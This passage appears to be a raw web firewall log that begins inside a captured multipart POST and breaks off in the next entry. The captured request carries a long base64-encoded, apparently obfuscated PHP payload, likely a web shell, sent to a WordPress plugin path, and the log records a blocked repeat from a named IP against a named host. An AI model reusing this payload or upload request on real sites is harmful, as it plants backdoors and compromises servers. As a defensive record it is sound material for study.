pKMURpU1lwKzVBNFY1Sm94TXVMNDVxMGo3bG9uR0ZhNGk4OFp2cW1CNE40aVN2VWxXTkx6bTRNd1BEZFNIWThSUzVqTWl1ODA4Q1hkUFBuZHpwd2hNSS8wRlZ3NEE0eW1zT2gvQmE1RzVwR2h1VmszQTA2eTJ5bFI5c3dSY2Rld29XUEcvYjJUN0RVaS9QbnBVR05lVnRrWG14YmhvdktmUC9XeWt6M1pPU2dOV2xiN0VvbkNpNlpPVVo5RloxQTdiZVMyYklycEJZd09sTlBIRkR4ZFVDY1Q5RUpGaVBsUmFvSzAvd2s2YnlNMGZtYUFLcXZMWG9ZSFZLcUdmbEFhT2FLNzZWdnNCT3hlaDhNcUFycVEvNTdVYnhJNkVpbzNJbVMrY1FoMVcrNW44VWZ6ZHZiYkQzMzhmdnp6T3EzYkQzOHpjenkwdlcyMHc5ZXY4SkxhaHFqNHprTnZlSU1VTDFJRGpuSkRVUFcrQWM1N0VBaGZqek1KMXdEenlEbER3c0tLYzkzdFVGL0ZXanUrL2ZDeEJlQW5JMnVZT0Q1Y1ZvaFN5K1VoUkhXbkVPNVBaTWZQcU1Qd21SbFNTYm9RaDdnUUdYTk1FRmJLRWJlSE1vcFVrN1BDWS9JeTQxNkNjYjdiUGZxV2J0RmF2N21qQnRvTUd1bVc5TmV1dnFyakd6WUxnV2ltbWgxclZsdHdqQ2VXQnNieitxYVRCUUhKb3RIeDl3RGM5bFFiekhHazc5YjM4TytkU3c3UXBhSDVjRklaWGdwNERhRDBhYTZnZE92YzZkSmczL2xoWGlnb0pkTGlpS3AyUWJQZHU3OEM0T1JTNmhVR2N0QjdSSG1hMmpQTDhaOGpkK1RLeU92QlhaVzNvWDVTVzArbjFtY2FRMkdtU3hlU25mNXpsalZFN01tOVE3eVZtZDl1R093dmEzRGc2cy9nYVA5aXpnbTA5eE43RVFRUnlJZ0kzTCtPbzVhNlBMM0lhbmRTaUFzZFVnUm1uZmwvZVlUN0JEY3RyUDZKOUFzL2lxYXhTU2F4VlEwYWFnWllmdnJhSlorRmMxU0VzMVNLcHBFUmtiOHFUa3BPRjY4dEpEOSt3dkZMcXg1RjhYeXFTNzdZdzdzNUVRZmQxbUpuU1pFdXl1ZUpFOHJodjR5WmlqTDF0R3FoYmM5dEswdXYvREREUXFaZU5YTUZKLzg2c25GUXRWZy9mbjlWV1dScWV6ZWxhcm44UEptMkpWSk9zMFpyalNNVUZrb0xENFZqTjhOU211SjNzN2wwMFlQVDRFNk4zTlg4Zko5WHI2VUtQOVV2dmpjTjlod2RmUGtOQVYrc3ZqQmxyZTFEVE9QdDVJQ3ZsQk1WR2lPenNhaHdhZ2JWTUdOYnYxWDcvWldNWmcyUjBKS2RvSlhJM2l5ZjFsODk4Uy9oUEV2K0dNdTBTcVJpejB2UGM5dHBzT2Rtd3AzTG9LYkpHN25xTjBFZE9tUk1oakp6dE1vTUNMYUpMV1NXQk82akVpbWJscWhrNFRoNm1FL3pVQzlndVdXdDRvY1dvaW9uOVY5QTB3N1Zyd1VGUytsRm0vR2lzOUZ4ZWRTaXpkaXhSZWk0Z3VweFdkaXhSZWo0b3VweGJ1eDRsWlUzRW90SHNhSzIxRnhXeTl1VkViVm5TSk1LK0svT0lPY0VSdVVKaGxrRVA4Q1A1SURUdE9JRVhUdG5nN2ZoR29hamJ2L2lQSEd0a3BuQlpYWHRyTHRsYzVCRitzZHpydFJUS3pMbmZwVEMyYkkvTGl3cnF1d293L2tBOVA2aXJKNmtMak44QlVQYjdWYmlNT2dUaDZEZmQ5SUxUM0Mwc1BnNVJJT3BtZHY4YlBxa1R4Wk5DY2FtYmh5UkRBem93eEhDZzFiTGU3angwZHB3TStac3kxZEtUM2EzdDJ4WVhCT2V5TVZ6S1hTOUE1T1lPNE5EMDdYMUFsNFVNZFkySFc4a1lvclN6ZVlEUnFmZ3Q3Z1V3WUJWbnJYcCtVeHpDZGVVMjU3UlBRazNOWHk4akt6dUVoRWppNWpzMGJtNTcvLy9aOGZmcXdVdXozdFhwN3lDMXhzSDZNUE0zL0liZGZ2SWxKeVNiK3htREVpbkF6UktIQkNCbll4Ym1lVTVXRnkvODF2QlZHL0dLR3NYTUNDb0NGMnEvb2hEekx3OGRMbmhVT0RiZnRyRCtwRXNYTHUxS3hkMkEveVIwcUg3Vi9wN2VKaDZ3SjROYmpjc0pXUk9tUFAycUpYOHVuUEdMYmR6dWg5YWo4ZUxZTHM3KzhjRkZjbmEyYlVLV2VGWURNcUx3b0NRMUVhOGpxR1RjWGgxV3JpNkc0T0xqQXJBcUdYSElWeWZCUlNoMFpCUTVSbkJjNkVMQ1BnYWh4c2U5bzRFSk15bXFaeUhLcmJOd05RL09pUnpuaS9OQlRPM2ZYV0VlZ3cvUEVyWGVZTnY0RWJ2ZDI1Mm9QQjZCRk50c1NBUk5Cb1JNSkc0UjcyUFBTSWVIZ3E3WWg1R2JHeXBOMXpkYkVHQktWSEN1MSthY1kyajljMlFMUjZsK3E0bm5PaW5KbkJkQjUrbkx1NHMwQ0djQUMvUXZJZ2pjdUtyUjN2RkIyQzhUR0Jqell6Q0dOR1dFUXpRNWQ2ZGx6bzFUNzdKNkNoMFNOaTRLbUNoRllXUmpJMzNmZFhVOEtkdGJ1NVJ4aXk5YXVTUEhSS25GZzlsWll3cGtqTnV5c3BvZnY1M2oydlhXeWVuaDl1N1hVUHk0M3dzTGQrR0o3dG5WOFV6elpQaStmK2VjbCtmQ3BkN3hWR1I4SGNlVzNpblYyekJxdnIxdk9TMndoMlMvdGV1OWJvbnBidCtVT1B3M0ZQTGs3M0R3dG5aemZ1c2J1NnZsL2JoVDBLd3BpN3ZCa3Q5VkxMcUxaZktIUFVKWnlIRjl2MlkzQ3lBZjJvRHA4dXF2ZXI3dEY0cVdlUEwrNnIvdm1sZGIrMjNscGNxKzJOVDdkdk9tczd1KzNSK3NYV29IQnlESFVMaDVjM3cvbFM0KzROOVI5UHk0MHhyMTg3Vzd1NFB6OC9MRjV4Zk5ZUTMvdXozYVh1NlFuL3UxRGJXQ3FjK3lkWE4vM0RVdU9ad3g3dmpnNjNtMENibThGV3J6Ry9XMm9Vb0kzUjZkV05WM3dXZjd2VXo3bnRxODdKZW5XaEN1M3RYcDI2VUNjNDNhNHVQdTFVZytyT3pmMFc0QVQ5YjI0OVgxNDI3OC9YVHRmM2h0M1NGZS9mb0hUOWVIaDFMUHZLeDZmcU51eXQ5ZDIyZjJjLzducjIxdTc2WHJlN2ZkTWU3YlRhOTdXclVkaTkyTm05T0xsdnU0M0gwNnZyRnVBMDdGNFNqTzQyaDFHNEtGbDNTNlh6Tm94N0Vmb1Q3bDdCdU5CNGp3K3ZtbytiNHlxUE9KY1FRNVhhM3RvWXBNNUJiMVNURWNGTjhqV1FCMmVrVVRFcUtGaHlpWk5zL2FiWHFkMDhMMjAzN3RiV3ErMVZRWjc3eS8xMkc5aHY3dEp5bDl5cVg3aThLUnhlT2M5YW1UR1E1LzVtRzU1WHpYdnQvZE9VOTZPMDk0VWRlSzVYc2Z1alZiY3h2dGhwZG5mcEhmL1hKNVlKdTVmWHZiWDE1dDFGcnpGY0twMjRiWmVUdWJ1V0tBc3NOQnFkN1FYM3JuMS9lbm5OV1lQWDgrekM0YzVlYitueVpxRmJzdHNqSU91aHQ5dStkL2ZhZkxnNTZlMzJTZm02dUx2VGZPNnNWOE9UM28wUHY3dnp2Y2JqNGZhZXYrcmVCS28vRzlWZ3RYaHl2bFE4TzErNlB6OVp1Nmk5eExKcm5mVm1sN1BOVG5WcEZXaXUwUVZack5UczJaME80VXlzc1EzbHhPOURiNSt6eVZJWGNkNGZJdjZLTnJXOTVxNnNYN09RdGZ3REQxaHN4Mm9YTnFxRjNYSmpsRllQcHZsUnQzQzF2YlVKN2RSZzgzRFo2TnlVcnJETUVNWmNIK2ZScUhiZ3o1VWFnNHZMNjJnODd3RG1UalUrSlhhcU1OV2JZeEJMVVR1OW0vYUoxNGpvQnRPclVDUjhnL1hxZUd2YkFyN2J2OFBmTUU3UWI1aG1sOWNEL2plSXBMa05DL0Y1UE9FMGFYYm50NC9iNTlzM1JSQ0wwRGJ3VGZ2WW41ZTBMZTgvZDh2MjRtcnQ1djVpcDNFM2YybmRBUTRmMjczOVI1aUtNUDZ4dWppVmtpcFdoY1E2MjNXM0xxWHBQN05jQUJsYnVGb25KbDF2QnAycm05MzdOaExoN0dpcGNOSVdjbHE4QS9tMmRYWndzVms3TzEydmRrK3ZnUG0yblM1MmFBc1lkOVdsT2tnVVdHL2FTdmF0cXpxOGZQZUV0K2ZPM1o4ZEg5N3ZmcXhHTXIzTjVmWGwraTRTdUVyd2VuTjN3TEFYRjhlbm14ZG5hMjZqdTFadVNIeU81Z3RuR3pmcngrN0lQZHVkK0g2MmQ5L2R0a0hXM1hTQllMMExHTXoyZXJVSERPaUdQZnZ4WnJzS2NyTkJ1S09NRk8zQ1JBdjQ5OHRqWHI5ZHEvclhseGIvZGo4K0R6bmVtM3VGdGF1YnU4UExhMW5uQ2VSczJOMjJ5Z0hIdldHZmV2WWpUR0pZWDVyUDNlMEcwcVZ6ZUY5dGEydkM4MmpNMXlnUVFGWTRXUStla3JhYURMK3ZYUjV0RmE1cVFMRzErZk5hV05nNmFOd1VUMnRibTdzQXkycnRScE0rUE5qYXU0ZSt1MXdnMWc3QzZ0YnA1dGI1NmRuRnhXa05KdmpaazF6TGlsY0hzT1pnK1FMUWp3c1htS3pQQ2lleEZxM1ZiZ3BibHpmalE2RGQvT1gxeGk3d1FiUVc3SG1yNWV0Q0U5YUg0aVV3b25jdDFyeG10N205ZndqdDFtQ01XN3k5N200b0orb2EvSTN0MGhwaHA2MFhTMnZqbzJCelk2L1FSWDRiTzlEV1FYdTBVZVhyMTlybVhodkdoL05VUXJndmpUYlB0anFGODN2L3hUVW4wcmdxanR2emg3RDE0dHYxVk1jUFdvc1lLVXRTaDhYSVJUTHlKUG1ueEIzZTZGYzg0RW55akU2NWtIWDU5WHhVcmFmNG1LMnY4RTFMNHF2SjQ3ZWtlZ2dabUxNcVBEZFd6TS9sY3JFY3VlSDEvV0JxK0RxakFwK1BLUlRNOUV3VjhsVFU1SGtsd2hlZ1VlSUpHWkF2U2tvQmV6RWhxbVpBVksxUkZIaEp4dFJJellpMkhsZUVtdGJmY0ZKTWhDZlJ3NGtFTFU4UEpDTGErNnZITUhoeERDZS92bWtNUTdwcVBvM096YjQvQ3ZGaStpK005dVRvZE1KUE1ETmcrelRBVTkzQWdIbnlsaUZDSEdPQnRCTkQ5cXNETkMxR000L0RMK0w0b3llazNCelNjc2RvV212cTRaS21CdHpGMU1SMXBiWUYxZmpPeEZVN0UwMDFXeFZ3N3RjUDJvV3o0L2I5dWgwV3VpQ1J5emVnQXV5TmlxVnJWQnNpRlN1Qzc2MXVYSG1ydGVOMjRjSnFyQ1ZoeW5JbmUyM1Evc2RQeFYwT244cnVrY1FkN3c2VDc5dnhkcVM2RW9UanZXQUFLazhIVnNpbkhxcU14OEZnNDJEcEh0VFdKVkJsOUw0QVRZTFZTS1VNVjNmMjd6cnJONTJMbnAwc056OXlxd3Nuc0ZvMnkvYnoxdmE1T3hwZisrZmJ6V0MzM0V5V0hlTzM2b1pkaEpVc3JnYkR5blNncTgvYUdLeHVRTnZ1d2VoaVp3TEgwV2dkNnUyb2xYanBJQUZYWDVXMThTNkN1djZNZElCeENaNjJ0YmJPRHViV05xcGgxZHNOZkZEaFV0US9uOWRkQjVXdGQ2M2hIMXVSL1ZGUHFhbWszaGJ0SWFuaXBJWldvNjBCck9aWFQyRzM2ZTJDZW5zUHV6cmdtV2ZZVVJZNnFDYXZOOGRMMjNZTFZ2RG5lZmR0S3E0Rys2bXdYaDN1WGpVTE9HNzNZN3ZUMXRWOHJ2N0cxWHJVQmdELzFzMzVpZHA5cmdGL0h1ekV4dU1KZDNyRnk1dk9hVVM3TVdoZXdWSTNiV3VpeWpUWG5nK1F6NFZxTFBHd1lPejNuMGxGbG1WaGhYYzVUUjc4TjZyUzFVc3JQQVZONjJrRE5OUExabmpZQXpYZUZkOUFSWWJ0VlpyNmZJODhNSC9aVFB2bXdkODQ1dTlVdXpWdGdnd2xqTXdteWdORGlLa0pWNGlIaGEyaFo3Q3d0cmVxekw1TVA4cEgxeUdxWldiNXlTVG1xcWwzdTNSWllGckpoTVZldUVFbll2NkxZOHFEbStIdzFHQ0VpYlRhdWM3T1d0OWdaMHZiMjUzSVpBOUs0S1BCNkJGNWl5aFA5bHh4Sm9zN2oxbThLQXR5ZnBibmNodXhYSWJmMGRCY1lJM2ZNTmpXWmlZNzZEdGRTN3E4azh1Sk9oZXJIQzF0bmNNK2Y2KzJYeDFIN1FWNGplMFJIVitHelpXWlJsUEdVZUszTTdxTndlUVZsc3B3MHk3aXVkMWRkeTh5Zjdia2lZdFJvUllZdGFkdVVNU1ByZkhhT3dGZ0JFN1oxdkN3TVArZFhOSDB5NnY4VkNSbzZaY1FLOTNQOXZEWllLMkhvN0s2dkw2d1ZKZ3o4aG1nUk5Pek9zK1lFU0NqeGNoM0Z0YTJ4aGo0ZkdsQkhaUmtQTmZxQmp6N0loVFFraTVteUhqWGdiZk8rYUVEcXlCL3lHcmRoM0FXNmJZc0UxOFlQRHM4RUlwbmZwWDVPRU4zWXhJZzRjeW9COEw3bmNmcW4yc3R6UU5WNktHRzZYMGpSTDFqMUZmZEdVQW5xcGFwNHJxNDE3WU10am9mWE94RUk0WkhXM1hvWTVTdW9ra0tGV0ZSYVY3NkowOEdvOG9TVTdwT3BKSVRac25EWVgyZ2FtWDRoMHpzOWhFVUh5NjYvbjFhY2NwdE9GRytQNjM4YVhyNXhkWmdtRmFjcDBXY0tJM0pFOU94MTlNcVpyUnJSaFBKTXNWZG93b1JsUkd4cHRLVyswdmdsYzNFTzgvRldIcUpsNWlhTGpZd1F2c1hPTHJQUi9zamc5RkQyYmhsaGs5MGc5UE0xMTlSbXBuS2paMnM0SG9nVGM0Z3U4MU43eHc2Y2ZENTRGUnQyYUliQktJejZUZFhNakkwU3VXNWYrZ0JteEd3aUJUYzAxUm1MUUd0ZEwyeElXNms4KzVVRjU1ZGtKUGowdEZ1RktSTkNra1pqT3BuRk1XS2FSR3l2cHZmdi9FcG9zSlp0Y0xaNW0veE1GcnBoV1F3TFJFYXkvMzRVWWJHU2k4ZkQ1Q2xCOGtLWFMxSVZockNVYUQzTUI3RWkzWFJhWStyKytXQWZ6Vnk4ZzhZdG00V3hpYnhENjgyVU5WS3dTVFFpQlZFb2VKa0ljQzdteDlrQjJFYTZzbjJmcVlpSWRtRG8wNTRwK0E3V2J6RWk1ZmVXcnpJaXhkZktmN3pCMlc1b3dWODJaRDVobWE1STFPaldRK1hmeE5KakFRenA4SVRwR2xsUXkyaytRUnF3aTFzUW42S1BEVE5wdldWcnZaZ3V4T3g4c1h5cldMWWE0bTFWRm9vTFRBKyttQ0RQT29iTGQvb080MGVxQjFPQitZZTkwTVdVV2dGc3h1bTVwVE9DOFRRMDBMdmVyN2FzOHRpTC90cnB4RktYRnhrT1dRdW9KZ1d0ZTgxdXdDQzFObVJnNUk3MHFzcnY5U0UxZXFoTi8rY2ZxVFJyTjkwamtCYzhVZmtzNWZsTVVtNWxKeWFIa21xRnNYVGhTZlFsanJIL1NzOXlyZEtkL1o2RjFwSmNXZ0dYbFhFWDZYTnR6S0NrS0ZBWHIzZEYybjhrbllCVFVxb2RCREVzNVJ4YTFtZjhxcEU1aGJob29EUDNDN0g1cnVaeUxxbDNTaEVQM0tuUlpRaVQ1YU1PVWFCOGM5SHQ4OGRXYmIrYVd3Y3JzS2tPdDJzbmNPSDNEOXhWZnFua1RlL2d2NzJUOVNyLzVrZFdEYmVtOTQ4M2R5NTVHa2haNEdSeGozajRPaDB5eWdhWit1Yis1dTFUSGJjZDRZUFNyVXhlWm5ZTlFUOVJQYXhWM3E2TjlqaWhkZUszRmJpYVExTHNiaU1XdlpEa2I0TWpUT1NtUWIyK1JWc0dhcjEzc0JWcW5uN2VQNmtpczZVbzU1eWtJUFpDN1hQUUJQdkVxcDRQYlpmRDJFbGdFV3EyM3dZaHFETzhZZHUwOVJTeHhJQU5iZ0xDd3QvTTJUbSt4SVBOazJKNzJXdzZVUWFSNGx4cTcyNkJhdm9tcnNtSTBJQXhpZUYxZ0VvTVBiVnpaVThtNWlaaVIzQlZ6YlhyK3Erd1JxbHhUTmxtQzJValU5QVpjLzhCbkxqUTdick9qYnZWNXZIRExqb2pUSGo0UEhhWFhOTGRXcmliSi91TUdoMnpMSzZaSm04dy9vM0F5QWZHN2tRdW1samlHVFY5SStzbkFWcGJnS0NabkxSLzVtTHI0a2lmbjJ5VnVZVzFxOGZrZGhmam9RKzFFcEdxaVM2c0hELytrSlMwT1NNYVNhOWhTdlBheGZPdHNHSW9PcHlNTjRpWW9QMjc5aHRIdDNVNExGTlA4YW9SWmQvOGhsekdyNW1TbzdZYUdLS2tmbVNnTW1UQlZ4c3VhQm5CdWZuYS9JWXQ4Z3ZzbXBEOVVmOFo4Slp1MEo5WnhlN2c2UEh0STBieDUzUFhROTNIN2wvWk04T3o0L1d4VHcyOVhsY0lUelk2WEg3VVFXSi8wbm8vOENsU3BLZG1Jc1JxOG1wRmtrZnpMZzV4THMwaEJRalBrOU1NQW1yZkxEcjdSbU1Ic3BEdEZET0k3V0IxZitSZEVveGpiUHFRWFhmK0dmS2NKai9wSzcrUTNadjBodGIrbFZPQWIxWjI5bzZ3bmFwa2JRMlhtMkNTOE4yTUZVYTBvUm5OUGd4Vm54MCtzZXdwK3orSHJIaXpGL0ppa1ZqSllVTGFid1p6WkRKdlVkOEpvbk5SYjljM0ZnMTJNUFYwemlTbmFZekdOck8wK1lMQ3l5M3NldFpBR1Erd2EwQ2JPSWVMNHZYVjlyS3JWUUVuaDM0SlUyQVp6ZHVnTURtVnBVVlNnc1VYVGVUR3NMVFVYdmhHU2JaWUhnVlhRVXhSV1owWGxhMHEyNHJpbEJxa3drSys0MVMxNU5YRXBNTkNRZ3I3cWN2YU9OZmNiL0VTdVh3Slk5b1E4QmxzSTJKcUcwOHRFd1VzQTJGUXdtZGRIbGR6K1ZYbnVrSkxYS3VvRitBVmxmZUg0MnUzYUVCNjNyekNGZko5bGx4UStsaFVZbktmblhoUGdBdGpCZWo3eVhWUnFWMjFMZ0FIYTA3MXl2S2NQQThKeUlVd1B1VHVLYWUyTTZkd2FpZ0JsOG5jWVhxTXlvcjVBZnZLV3pJMFlkKzU3NjUyVFVZUGFKUjZvZ3g0Y1JCd25kMGtyNUd2QXIxbVZFUDFXVnpqcmNLZDVJUVl3UkJCUFlaaGFYbWdjR0loV1RYaEtJdmUwYU14YmJtOXE4R3FnekdsQlpqRWRkeWlqRU5hRUxua1VBTHB4Y0xNQ2JVdmx3bDFKaFFXNHdLaVRHaE94NXFVRVozeFpzYUFPQ1A1RFg3MzFBbDByWEd1Q2tocnVlbEpIcmhHVlhWcXBzcUxFanRZZVdud2U1T0pDd3dzMWl4TXVpMFhhZkRVcExsRXNoazJvNjNLOWk4L3FTU2pkbzEvL1NhYXEzaXVVU0xGY2tuUnRKS3MxVnJOSm1hd3RXVUt2MkVPVWZZcGljSVM4UWpxakhTSU45czU3czhmbDdFVUZ4Y1RDdVN2NjYvcWh2Q3BqU1VLb09SQ3FlZVZCRXhGM0pBMFZnb1oxenFvR1JVM0FWRitQaXVSOXRxUXJzYkx4MUFZeE9ocTFWUWNkUFRZdXMwT2hjOTBCSnBnNkRVRUJraVFwYWlwWXhSNFdoVkpuWEY5NlN6N2txM2EvWFEwazk2TUdyQjlBclhXVXlWd3dPOXZHRy9Mbk0rQ2JtRmJ6SzN1V0xlakw4MFlWSFhNZ0dxVlYwUGE2T1Zsdm84V2J2RXNYY3FkU2pmdmVnOW03Yk1TWHZUQnhFMDI5U2JlNk5pR1plcG5oUWtVNGp6bXg3Z0RZVTNibFJGazNrZTloUzNjeFJSVCs3bFhwRGF0QjlrTkI5MHMzcHlBdWx6amphcWpPd0owUUxFZmJibGJYbHVscWZyNjZuMysrTnUyMXp4TVNXeFk1TmRoc0NTNkt0UTQ3ckVTSldyWk9oZ3RMdVdqUDBwOHNxUnE1TmtjZG93TTlvK1MxcWdZelkxaldJSWgwdHpqaVlETGlNanNHd2h5dnJ1OU4zaEE2ellJaWxFYnRJZS9sSk9wNG15MGVTUUlzS1FaZElsRDZJU1dhMGlMQ1lzOEtsb0RIeS9MMUNackpDQ2l5cjBQbVFtTFArcHVFQ2hybVhqV0pQa1NGWkt3VWVXZVFzNjAxMTJIbXBPdncyZ2psZVVlYVYwMkFEdXA0ZmkvcVlqZHdScVJadTJ6UkhzV1ZxZEMyRmZRUS9CUElhb05NVS9DTEFaSHloRXpzY2pEeEFwdTQ4WFUxeno2WFNXMFZsdHF1TWFXUndaMlI5bFovalJSbHhqVDM5YnVWdHJvem1sMW15V3RlMnB3amN1RGxlMEFCZ1J1WGpJaGVUUmthYjc4OGdpY1VDWk9IbVUzSGlEVEh4QkZHN1hqb2Q5ZzlGRFRtYlprK2hrU0k1SjRvUW81cGFsd2tpVjl1YU9NSlRpcUtmdXUvei94NG5KNDhURCs1T09qL21ha0ZqS05ObllpT3lTRmFJZ0kzYVRHNGZrcEpVYkF1SkdSbUJmV05QK3VnTktMVERKWkxsb3VhQ3pSa2FuZjlFMlBwNWlEZWpSdXdyeFFrM1pYdE5paHpJQW1weC9MTWRmNXJtckFyK3J5YStmaWtpZWpPZXBoL2tDdzJXSVhKaEdIb05iNkJIMnMwWnQ4M3gvOWNLZ1FxSFhHM1o5TzdVZ240VzRacEoyYzNSMldEWE9UamRyaDFVMDgzQlVrTDgvVUU0UUNZaGw2UFRvVVQ4dDR0cFlSdVM3a2pGa2FYK2F1clhYQWpoS3VQcDB4bTNNeElSdWZpNlhRTFlST1lscFJDUmVJaTJqQW9ManRJN0ZMVmhTVmFNMktuUFc4VGFNRGoxNDNZcVU5QlFBZU8zZ2Flc1VFOXV2SGl1eGJQNHpUcnQvR3B2N2E2dG54dWJaNnVicHVuRjV0Sk5zaDV2aU1YeXJkVEtFM2UxUjRhZ1Z1Ymk4bXhVcVM5NUpHK2J0OXNGU1NkNlpFYVlKOU4zQUhkSFpIRlJoOUtBQ01wL2E1aWdZWGhpTStoV2o0OFBuMGU2V3dlaWhuU2g1dDk0dHkweGdLTjlQUVJMRFBTTXlRc3ZjOEIrdVFSNVQ2MVBwK09KWUVkWFlxdFdlVStrcWtLd2lMQ1JubmpxZDN5eUxvTFBvYk1CSGpsSDdrdVE4TThtdmtCNFh4QmZtWHlhYngvUEFERjRWNUdBaXNOSk9RU1AwQ2hRRW9tWnk1cldaUEVIRytGeFdxTkNBeUg1ay9vbUF1WFVKLzR6TjhwLzZQS2ZFd25WS2hGSEhIQXhFNWE5cDAxNTJWNlcvaytJQUlRMDhOeDRZbldVd0lXTlNjZ2lENGJJUldRdmZKMHcwcmhXU0xENC9NTHdBYWlVWWNzSDR1OHEwYUNyQjk2bzBvcW5IYUNJSzlZSzNONHZ4b3lUekNXZ1ZZbGxHc3orU011TmVGQWNZVlVyUmxoNEdXSElOOTRLakllWitWdEhoZnNxU2M3eDFIcXpEN241My9VWTZwT1J5ZldRZDd6WmlIWjRmaUYvNEovckpvQjViaTcxZEVLZjBrRE8xUkJvbXg4QUkvSDR6T1RtcmkyNTlBMVpEL3BEVFRPNGNYVnBFK3VtRTFaSkxPaGZGL1N1RFVRZGl3b2s2dzZpQVZDdmt3S05vM2FpSFkxQnA2Q0VkNEpqQXUrZjNXM3l2S1ZRNzRRTEJVendtbGpHU1FhTGU5ZkhST3N0eHZ6dWVCbHE4MXNWOUprR0k3ZnRkakZwQWo1UVZSU2xkd2swU3pRblRzY255U05JYnEwZjd5Y05vWXBVWUtlVUl2cEczS0l1bTJKQy94RkFLWlo1aU0wK2JhQUtIRmw2ZVYzUGdPVzRYRTJhSDlYYndOWVpLc3VzL0pTUnhDSFc2dXJPT3p3UkxhUkpaYTFIbTVTVDFrN2NuaEZFVUZDaG5UbnllOEpFVklibmZRYWxJTjM0VHJlZ0VwejZBMFh5VklxcDB2Q3R2Ulk4cXZ3bXJES2ErdFFhV1hlZWIyZDhNcStkMDdMQk9FeHNkSmt6eEJxRlphRnJ4M01tQ1R0K0I2Y3I5QlFhemt4WEVmTU9nNkZTZVpsMG1SU2xLNDkxSjhwZzFtbkxUVkt0Zm5BR2F5OFFicVRjd2wzOEQ2UTRDMUlGYUdNR1VmRWR3TjRJQlRZR3NKRUN3OC9nNWJkYStwK2VaVUlMbW5VOEFlbmQvYVIrbWQ3YlMzZnJjaGcwYlBmUXpGUW04WHlwZVg0Tm9INTBjU1M4TERmMEtyS1dZeGF1T0FiSTR6RCt3SVh6VEczcDE0YzVHNnUvVjNmd0NhTnNFTUxtRDVxcWM3Y01lVHFoeXI4K2FpU3EvTUg4cTFDOUd1Q2tQZmc3dkY0VWlIeUtPL2pzR21zc1lxaWw2OFdjNE80TDJoajc4Rk9xUkprRnhHOXhvMW1uZUNvVGVKVElKQU5WL1VWbnh6M291QmtVcExIclJsWWdrT3BtZk9KOEE1bzlsK3NQNGlYdDkrQ211d2dYR1QzVGZnaGY0TUg1aXFsN1l1OE52ZnFYdDUvZUMrZzJQak56dmkwSFNCNDhTakg0KzJBT2VJTnhpZWdqaHlhaUFSTGRVbnB0SERVYzB5aTBrNG0reC9kbmU5ekJMRGoyRWRrSmw4MlpGNU1qallVdm9aZVd5ZjFVOGdBMGNmMHpYSWxKSXhYL25PWFZnclVTYUdIa09WUFZac2RkRXQ5K3FsTkpZdk5oS2ZNeDV2aHJLV3hNdDd6bEtjWU5aMWdEbjBQUFg2L1dvR3VNaW8yODlRbC81NFMvL2t5RGhuejhNNllwTkJ3K1ZoZGJaeVlQQnlJNzZpaVUzMVgxUE1IaDdyM2ovYkRCNjZKYmM4VVJHQ0txZVpqTlVCdW4vQXlINy84cGcvWkZsVk9aNVNDc2pUNnQ1d2VMMGd0MkgybXZCL3Q4UzVsOTRGZXZaUnVTeGpGZ2NOOVFMZVRWV3ZVRDczNzc2QlR5NkUxVU94bWRxb0JEK1JJYnNSQVp0NFo1cHdzb0RQTXc5aHRVeE90b0tBMU1tNURaYm9YNjE5YVdMclRCN1JqN01aU0FXWG12Rm9zcGZqQjhHTU9Kc3RUUkJ3WW1MWllzbGJ6TXcyTFY5c1hlamZDNVBQeis0Nk9MR0gya3IrMXkzZUFOU2lSNXl5bEErSmsyaVVGNGsvY2p3YnE4OWQyOHdlc2dMVnFUUDgxaFVKb1ZnRXBtZDNPTkZGL1FIZXNoZUJCOG9iSlVlbmZoNWZMOXBzS2VUcGl1dFdyQk56NXNoNmNhZ3VISUROY1VLcm13T0M0MWptS2FuRjUxZDNTNzg1STI3YVJGRmpmOFhDWDE3c0FMS3MzZ0RVdlNBYml3N01aYnJudk16S252V2hIZHFjam45cDFNdE5iaW4xOVVMQ3JkdGFjV3hLaDR4ckZyMmI2NnFNT1VvVmVyQk1icTYxWFdIc0Y2N25HbndqUmw1ak5JRFl6bXhLck44YTQ2RU1pWmpERkxKVEt5R0wxTGZ2a2l2U0RwUEhSbEhhaFpsVWRicGJnaTM4S0lXdUhYMEtqR28zb014SGlBc1lyZHc3aUhhNHVYMGhWaVNTMEpudHNDbzYwODU1VUtQNDZoR1BFVFNva29BTjEyRVhqa1pUbXFxQlRnc1BSSjNOdjZ2aDBSektUS256cG5jNjRUYm9uQjVPWHFUZkJHTzJNSVVNQkxERHQyM3pONlhCdDY2N3M5aEg4NUFnZmFldkZ4Wlo2ZFA0Z1FuVzZCbTVHcWZmUERaS0pHQ0Zhdk80Q1lDUXRUajRQVTFhQ25Pa0NSRWlPeG1CSTNMMFBqeUMxNTNlWk83THZ4ZHJ4YlRRNlVEZzgwbUZKbmJ3Tm5SRHU4aGJQV3ZtTWRlZXphdGJYTnV3emZ6Z1ZQck9JdGhVWGZRcm9XZ1V1T3VxN2Vld3FlQlgyTlVnWkVQalUwTDFEN2RCblRXWUFqalBlWlgwdklIbm5lVVFDZndqUHZacVlRZDhyZ0JPMTdleVM5VkdRdVVRaFBSc0pLd3Z1aUg0ellpd2hKbFppQ3pONWMzbWlQelp0bDBuZjhTdzcxVFA5VjF3RTFrdzhLaDVGMEFlcXdOemh1Vnd1cTFtbE1HSjc2Zmg4RW51UXFpdmdQRE91NTJYak9DeU1XdEdmSDJHSGhkNkNVd21heUFxVlFYNlNFaUVTWGRrdEdlam10ZVhWdlFPWXRzSFcnKSkpKSkpKSkpKSkpKSk7'));\n?>\r\n--3cd518ed2f14ccd4e600224a7c2ec1ed\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--3cd518ed2f14ccd4e600224a7c2ec1ed\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--3cd518ed2f14ccd4e600224a7c2ec1ed\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--3cd518ed2f14ccd4e600224a7c2ec1ed--\r\n"]
["2026-04-13 10:29:19","104.219.42.67","POST","\/wp-content\/plugins\/dyeja\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议10","POST \/wp-content\/plugins\/dyeja\/index.php HTTP\/1.1\npriority:u=0, i\ncontent-type:multipart\/form-data; boundary=2a04bbc6e19570b6be2e5bb3a4ec9c43\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) 